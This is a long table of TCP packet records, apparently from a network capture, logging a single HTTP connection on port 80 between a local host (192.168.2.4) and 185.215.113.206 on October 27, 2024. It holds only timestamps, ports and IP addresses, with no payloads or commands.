Oct 27, 2024 12:13:27.954303026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954336882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954358101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954371929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954379082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954412937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954426050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954464912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954464912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954514980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954516888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954549074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954565048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954581976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954605103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954613924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954632044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954647064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954667091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954685926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954708099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954720974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954735041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954768896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954773903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954807043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954823017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954854965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954862118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954894066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954907894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954929113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954942942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954962969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954984903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955012083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955014944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955054998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955064058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955096960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955116987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955128908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955143929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955162048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955177069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955194950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955215931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955226898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955245018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955274105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955275059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955307961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955322981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955352068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955367088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955387115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955410957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955420017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955430984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955451965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955471039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955486059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955507994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955535889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955537081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955569983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955593109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955602884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955619097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955640078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955652952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955674887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955691099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955707073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955733061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955735922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955754995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955768108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955780029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955802917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955836058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955856085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955869913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955894947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955902100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955929041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955935955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955956936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955965042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.955985069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.955998898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956016064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956033945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956062078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956065893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956088066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956109047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956115961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956149101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956163883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956197977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956212044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956243992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956264019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956276894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956298113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956310987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956326962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956345081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956361055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956379890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.956399918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.956427097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.993973970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994087934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994165897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994175911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994184971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994194984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994204998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994213104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994236946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994287014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994354010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994360924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994371891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994414091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994445086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994455099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994463921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994494915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994530916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994568110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994579077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994586945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994611979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994645119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994765997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994785070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994793892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994811058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994836092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.994929075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994939089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994947910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.994986057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995018959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995028973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995066881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995127916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995177984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995187998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995196104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995220900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995246887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995366096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995377064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995384932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995417118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995420933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995431900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995440006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995443106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995491982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995663881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995672941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995681047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995692015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995701075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995711088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995718002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995722055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995742083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995768070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995798111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995809078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995817900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995829105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995845079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995883942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995901108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995910883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995949984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.995982885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.995991945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996001005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996011019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996021986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996027946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996031046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996051073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996073961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996210098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996221066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996229887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996239901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996260881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996287107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996336937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996345997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996354103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996366024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996376038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996381044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996423006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996575117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996584892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996593952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996603966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996613979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996623993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996632099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996635914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996651888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996679068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996880054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996889114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996898890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996908903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996918917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996928930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996932030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996938944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996951103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996951103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996959925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.996982098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.996995926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997086048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997134924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997265100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997275114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997282982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997292995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997303963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997311115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997313023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997329950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997339010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997348070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997351885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997360945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997374058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997392893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997425079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997570038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997580051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997623920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997673035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997683048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997693062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997706890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997716904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.997723103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997745037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.997766018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.038568020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.038623095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.038655043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.038671017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.038732052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.039843082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.039891958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.039901018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.039942026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068543911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068573952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068602085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068624973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068629980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068660021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068696022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068716049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068731070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068752050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068779945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068780899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068814993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.068837881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.068856955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070547104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070604086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070612907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070647001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070676088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070678949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070692062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070728064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070730925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070764065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070784092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070812941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070813894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070847034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070862055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070882082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070903063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070930958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.070934057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070969105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.070981979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071001053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071026087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071034908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071050882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071065903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071079969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071104050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071115971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071134090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071155071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071166992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071182966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071214914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071218967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071248055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071268082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071296930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071299076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071347952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071367025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071400881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071418047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071504116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071506977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071553946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071556091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071589947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071608067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071623087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071639061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071671009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071674109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071702003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071722984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071736097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071749926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071769953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071784973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071803093 CET	80	49730	185.215.113.206	192.168.2.4
